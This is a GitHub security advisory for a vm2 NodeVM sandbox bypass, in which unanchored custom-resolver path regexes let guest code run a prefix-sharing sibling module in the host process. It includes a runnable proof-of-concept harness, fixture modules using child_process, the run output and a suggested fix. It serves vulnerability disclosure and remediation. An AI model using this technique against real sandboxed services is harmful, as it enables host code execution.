GHSA-5H3F-Q97H-CCVC

Vulnerability from github – Published: 2026-10-05 23:24 – Updated: 2026-10-05 23:24
VLAI
Summary
vm2: NodeVM custom resolution bypasses external path boundaries
Details

Summary

At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOO_OK and then executed the prefix-sharing sibling, which returned PREFIX_PWN after invoking child_process; an otherwise identical control denied the sibling with ENOTFOUND.

Technical Details

The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary node_modules lookup misses and the custom resolver is consulted.

The source-to-sink path is:

  • NodeVM.run executes guest code and creates the module-specific require function at lib/nodevm.js:516-575.
  • DefaultResolver.resolveFull searches normal locations and then dispatches a miss to customResolve at lib/resolver.js:227-316.
  • LegacyResolver.customResolve checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at lib/resolver-compat.js:266-291.
  • isPathAllowedForModule falls back to this.externals.some(regex => regex.test(path)) at lib/resolver-compat.js:193-215. The dynamically appended expression ^/…/node_modules/foo also matches /…/node_modules/foo2/index.js because no path separator or end-of-string condition is required.
  • loadJS uses this.hostRequire(filename) for a host-context file and only wraps the returned exports with vm.readonly at lib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.

The relevant current code has the same flaw for both supported custom-resolver return shapes:

if (typeof resolved === 'string') {
    this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
    return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);

The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.

PoV

The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:

const foo = require('foo');
module.exports = {
    foo,
    sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};

The corresponding embedder configuration is:

const vm = new NodeVM({
    require: {
        external: {modules: ['foo'], transitive: false},
        root: '/tmp/vm2-prefix-case',
        context: 'host',
        resolve(name) {
            return name === 'foo'
                ? '/tmp/vm2-prefix-case/node_modules/foo'
                : undefined;
        }
    }
});

The sibling is not itself allowlisted. Its successful load is the authorization violation; the child_process call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.

PoC

From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:

git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts

Save the following harness as /tmp/custom-resolve-prefix.js:

'use strict';

const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');

const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;

function runGuest(code) {
    return new NodeVM({
        require: {
            external: {modules: ['foo'], transitive: false},
            root,
            context: 'host',
            resolve(moduleName) {
                if (moduleName === 'foo') {
                    customCalls++;
                    return fooDir;
                }
                return undefined;
            }
        }
    }).run(code, entry);
}

const record = {mode, result: 'invalid'};

try {
    if (mode === 'candidate') {
        const output = runGuest(`
            const foo = require('foo');
            module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
        `);
        record.output = output;
        if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
            record.result = 'violation';
            record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
        } else {
            record.result = 'pass';
        }
    } else if (mode === 'control') {
        try {
            runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
            record.result = 'violation';
            record.signal = 'prefix-sharing sibling loaded before custom resolution';
        } catch (error) {
            record.result = 'pass';
            record.denial = String(error && (error.code || error.message) || error);
        }
    } else {
        record.error = 'unknown mode';
    }
} catch (error) {
    record.result = 'invalid';
    record.error = String(error && (error.stack || error.message) || error);
}

record.customCalls = customCalls;
console.log(JSON.stringify(record));

Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:

mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
    process.execPath,
    ['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF

Run the attack and then the negative control from the repository checkout:

node /tmp/custom-resolve-prefix.js candidate \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js

The decisive results were:

{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}

Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use child_process only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.

Impact

This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite transitive: false. The demonstrated sibling executes child_process at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.

Suggested Fix

Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the {path: resolvedPath} result:

const externalPath = value => new RegExp(
    '^' + escapeRegExp(value) + '(?:[\\/].*)?$'
);

Use externalPath(resolved) at the string-return branch and externalPath(resolvedPath) at the object-return branch. A path-aware canonical comparison shared with isPathAllowedForModule is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted foo and after customResolve has appended a new regex.

Add regression coverage that configures external: {modules: ['foo'], transitive: false}, a custom resolver returning foo, and context: 'host'; it should require foo and then assert that the absolute foo2/index.js sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving foo, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither this.externals.push branch can reintroduce the prefix authorization.

Affected Package/Versions

  • Package: vm2 in the npm ecosystem.
  • Tested package version: 3.11.8, at source revision 91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Affected version range tested: pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.
  • Patched versions: none identified by the tested evidence.
  • Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.

Advisory History

The closest public match is GHSA-7q3f-wx44-378m, titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the mod.path.startsWith(path) logic in isPathAllowedForModule for a relative require from an allowlisted package. Its public fix is commit 6ac3916da84e060c403e407b6b6318fcc66b0e72, which adds a path-boundary check to isPathAllowedForModule while leaving the filename-side this.externals fallback unchanged. A related public resolver fix is commit ab4ee7d803e8c80155e9eb3672226bddbca4aa9c, which rejects .. traversal in allowlisted subpaths and explicitly leaves the filename-side this.externals matcher untouched. This finding has a separate fix surface: the current customResolve function appends new raw-prefix regular expressions to this.externals at both custom-resolver return branches, which those public fixes do not describe or patch.

GHSA-c48m-32m9-vx93, “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side externalCache matcher and rejects .. segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: customResolve appends a filename-side raw-prefix regular expression to this.externals, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-100721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:24:29Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path\u0027s string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^\u003cpath\u003e` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: [\u0027foo\u0027], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: \u0027host\u0027`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder\u0027s resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex =\u003e regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/\u2026/node_modules/foo` also matches `/\u2026/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === \u0027string\u0027) {\n\tthis.externals.push(new RegExp(\u0027^\u0027 + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp(\u0027^\u0027 + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require(\u0027foo\u0027);\nmodule.exports = {\n\tfoo,\n\tsibling: require(\u0027/tmp/vm2-prefix-case/node_modules/foo2/index.js\u0027)\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: [\u0027foo\u0027], transitive: false},\n\t\troot: \u0027/tmp/vm2-prefix-case\u0027,\n\t\tcontext: \u0027host\u0027,\n\t\tresolve(name) {\n\t\t\treturn name === \u0027foo\u0027\n\t\t\t\t? \u0027/tmp/vm2-prefix-case/node_modules/foo\u0027\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(process.cwd() + \u0027/lib/main.js\u0027);\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, \u0027../..\u0027);\nconst entry = path.join(path.dirname(root), \u0027entry.js\u0027);\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: [\u0027foo\u0027], transitive: false},\n\t\t\troot,\n\t\t\tcontext: \u0027host\u0027,\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === \u0027foo\u0027) {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: \u0027invalid\u0027};\n\ntry {\n\tif (mode === \u0027candidate\u0027) {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require(\u0027foo\u0027);\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output \u0026\u0026 output.foo === \u0027FOO_OK\u0027 \u0026\u0026 output.sibling === \u0027PREFIX_PWN\u0027) {\n\t\t\trecord.result = \u0027violation\u0027;\n\t\t\trecord.signal = \u0027prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\u0027;\n\t\t} else {\n\t\t\trecord.result = \u0027pass\u0027;\n\t\t}\n\t} else if (mode === \u0027control\u0027) {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = \u0027violation\u0027;\n\t\t\trecord.signal = \u0027prefix-sharing sibling loaded before custom resolution\u0027;\n\t\t} catch (error) {\n\t\t\trecord.result = \u0027pass\u0027;\n\t\t\trecord.denial = String(error \u0026\u0026 (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = \u0027unknown mode\u0027;\n\t}\n} catch (error) {\n\trecord.result = \u0027invalid\u0027;\n\trecord.error = String(error \u0026\u0026 (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module\u0027s path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat \u003e /tmp/vm2-prefix-case/node_modules/foo/index.js \u003c\u003c\u0027EOF\u0027\n\u0027use strict\u0027;\nmodule.exports = \u0027FOO_OK\u0027;\nEOF\ncat \u003e /tmp/vm2-prefix-case/node_modules/foo2/index.js \u003c\u003c\u0027EOF\u0027\n\u0027use strict\u0027;\nmodule.exports = require(\u0027child_process\u0027).execFileSync(\n\tprocess.execPath,\n\t[\u0027-e\u0027, \"process.stdout.write(\u0027PREFIX_PWN\u0027)\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value =\u003e new RegExp(\n\t\u0027^\u0027 + escapeRegExp(value) + \u0027(?:[\\\\/].*)?$\u0027\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: [\u0027foo\u0027], transitive: false}`, a custom resolver returning `foo`, and `context: \u0027host\u0027`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled \u201cExternal module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.\u201d That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), \u201cvm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,\u201d is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.",
  "id": "GHSA-5h3f-q97h-ccvc",
  "modified": "2026-10-05T23:24:29Z",
  "published": "2026-10-05T23:24:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.12.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: NodeVM custom resolution bypasses external path boundaries"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…